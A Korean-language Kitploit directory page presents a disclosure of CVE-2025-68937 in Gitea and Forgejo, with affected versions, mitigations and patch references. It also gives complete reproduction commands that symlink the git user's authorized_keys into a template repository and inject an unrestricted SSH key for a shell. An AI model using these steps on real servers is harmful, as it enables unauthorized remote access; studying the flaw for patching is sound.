Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Gitea-Forgejo-CVE-2025-68937 — Gitea 및 Forgejo의 저장소 템플릿 처리에서 디렉토리 트래버설(directory traversal) 취약점으로 인해 원격 인증된 공격자가 파일시스템의 임의 파일을 처리할 수 있으며, 이는 원격 코드 실행으로 이어집니다. | Kitploit
도구/GitHubGitHub/clemax/gitea-forgejo-cve-2025-68937
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed Teaming
GitHubclemax/gitea-forgejo-cve-2025-68937

Gitea-Forgejo-CVE-2025-68937

Gitea 및 Forgejo의 저장소 템플릿 처리에서 디렉토리 트래버설(directory traversal) 취약점으로 인해 원격 인증된 공격자가 파일시스템의 임의 파일을 처리할 수 있으며, 이는 원격 코드 실행으로 이어집니다.

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
6개월 전아직 검토되지 않음

Gitea 및 Forgejo에서의 임의 템플릿 확장 취약점

forgejo-cve CC BY-SA 4.0

이 저작물은 Creative Commons Attribution-ShareAlike 4.0 International License에 따라 라이선스가 부여됩니다.

CC BY-SA 4.0

요약

Forgejo와 Gitea의 소스 코드를 확인하여 템플릿이 어떻게 수행되는지 더 잘 이해하는 과정에서, 인증된 사용자가 악성 템플릿 저장소를 생성하여 파일 시스템의 임의 파일을 처리할 수 있는 취약점을 발견했습니다.

악성 템플릿의 Git 콘텐츠를 기반으로 저장소를 생성할 때, 템플릿이 파일 시스템의 임의 파일을 확장할 수 있습니다.

git 사용자의 홈 디렉토리 경로(공식 도커 이미지에서는 기본적으로 /data/git)를 알고 있으면, 공격자는 git 사용자의 .ssh/authorized_keys 파일을 확장하여 command 매개변수 없이 키를 주입할 수 있으며, 이를 통해 임의 명령이나 대화형 셸을 실행할 수 있습니다.

기술적 세부 사항

영향을 받는 버전: Gitea >= v1.11.0-rc1 && <= v1.24.6, Forgejo <= v11.0.6 || (>= v12.0.0 && <= v13.0.1)

영향을 받는 구성 요소: 템플릿 저장소

근본 원인: 템플릿 파일 내용을 읽고 쓸 때 심볼릭 링크 역참조

공격 흐름

  1. 공격자가 합법적인 사용자로 인증

  2. 공격자가 추측한 git 사용자의 .ssh/authorized_keys 파일에 대한 심볼릭 링크와 해당 심볼릭 링크를 참조하는 .forgejo/template 파일을 포함하는 악성 템플릿 저장소를 생성

  3. 공격자가 ${REPO_DESCRIPTION}으로 끝나는 사용자 정의 주석이 포함된 ssh 공개 키를 자신의 계정에 추가

  4. 공격자가 Git 콘텐츠 템플릿을 활성화하고 설명에 줄바꿈 후 다른 ssh 공개 키를 포함한 악성 템플릿 저장소를 참조하는 저장소를 생성

  5. Gitea/Forgejo가 authorized_keys 심볼릭 링크를 읽고 템플릿 처리하여, 이전에 설정된 공개 키의 주석이 command 매개변수 없이 공격자의 저장소 설명에 해당하는 임의 항목으로 확장되게 함

  6. 공격자가 주입된 키를 사용하여 git 사용자로 대화형 로그인

또한 공격자가 구성 파일, SQLite 데이터베이스를 손상시키거나 대용량 파일을 읽어 서비스 거부를 유발할 수도 있습니다.

완화 조치

  • 신뢰할 수 없는 사용자의 등록 비활성화
  • 신뢰할 수 없는 사용자의 저장소 생성 비활성화

재현

  1. 취약한 버전의 Gitea/Forgejo를 설치 및 구성

  2. 관리자 계정을 사용하여 공격자 계정을 등록 또는 생성

  3. 공격자 계정으로 로그인

  4. 두 개의 서로 다른 SSH 키 생성: 하나는 Git용, 하나는 대화형 SSH용

root@kitploit:~
ssh-keygen -f ~/.ssh/attacker-git -N '' -C '${REPO_DESCRIPTION}'
ssh-keygen -f ~/.ssh/attacker-ssh -N ''
  1. Gitea/Forgejo UI를 사용하여 ~/.ssh/attacker-git.pub 파일의 내용을 인증된 ssh-key로 추가

키 주석이 있어야 하며 다음과 같아야 합니다:

root@kitploit:~
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw ${REPO_DESCRIPTION}

이제 git 사용자의 .ssh/authorized_keys는 다음과 같이 보입니다:

root@kitploit:~
# gitea public key
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-2",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw ${REPO_DESCRIPTION}
  1. Gitea/Forgejo UI를 사용하여 악성 템플릿 저장소 생성

  2. 템플릿 저장소를 클론하고 악성 심볼릭 링크 및 템플릿 구성 추가

root@kitploit:~
# 템플릿 저장소 클론
git clone https://localhost:3000/attacker/malicious-template
cd malicious-template

# 악성 심볼릭 링크 생성
ln -s /data/git/.ssh/authorized_keys

# Gitea를 사용하는 경우 Gitea 템플릿 구성 생성
mkdir .gitea
echo authorized_keys > .gitea/template

# Forgejo를 사용하는 경우 Forgejo 템플릿 구성 생성
mkdir .forgejo
echo authorized_keys > .forgejo/template

# 변경 사항을 커밋하고 푸시
git add -A
git commit -m 'Initial commit'

git push
  1. Git 콘텐츠 템플릿을 활성화하고 설명에 줄바꿈 후 ~/.ssh/attacker-ssh.pub 파일의 내용을 포함한 악성 템플릿 저장소를 참조하는 새 저장소 생성

저장소 설명은 다음과 같아야 합니다:

root@kitploit:~
replaced
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMxIBbYKl2r41Xzp+SY8qlWmSmK2IGEylQ3D7GDC8IjH attacker@machine

첫 줄의 replaced는 필수가 아니지만, 줄바꿈이 여전히 있는지 확인해야 합니다. 줄 끝의 attacker@machine 주석도 선택 사항입니다.

결과적으로 git 사용자의 .ssh/authorized_keys는 다음과 같이 보입니다:

root@kitploit:~
# gitea public key
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-2",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw replaced
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOqrtpZdMsU5lXMtV7hnlGnz+ngdnTxYMd9hjCMhrR1n attacker@machine
  1. ~/.ssh/attacker-ssh 키와 ssh 클라이언트를 사용하여 연결
root@kitploit:~
ssh -i ~/.ssh/attacker-ssh git@localhost -p 222

참조

  • Gitea 릴리스 노트
  • Gitea 풀 리퀘스트
  • Forgejo 13.0.2 릴리스 노트
  • Forgejo 11.0.7 릴리스 노트
  • Forgejo 패치
도구 다운로드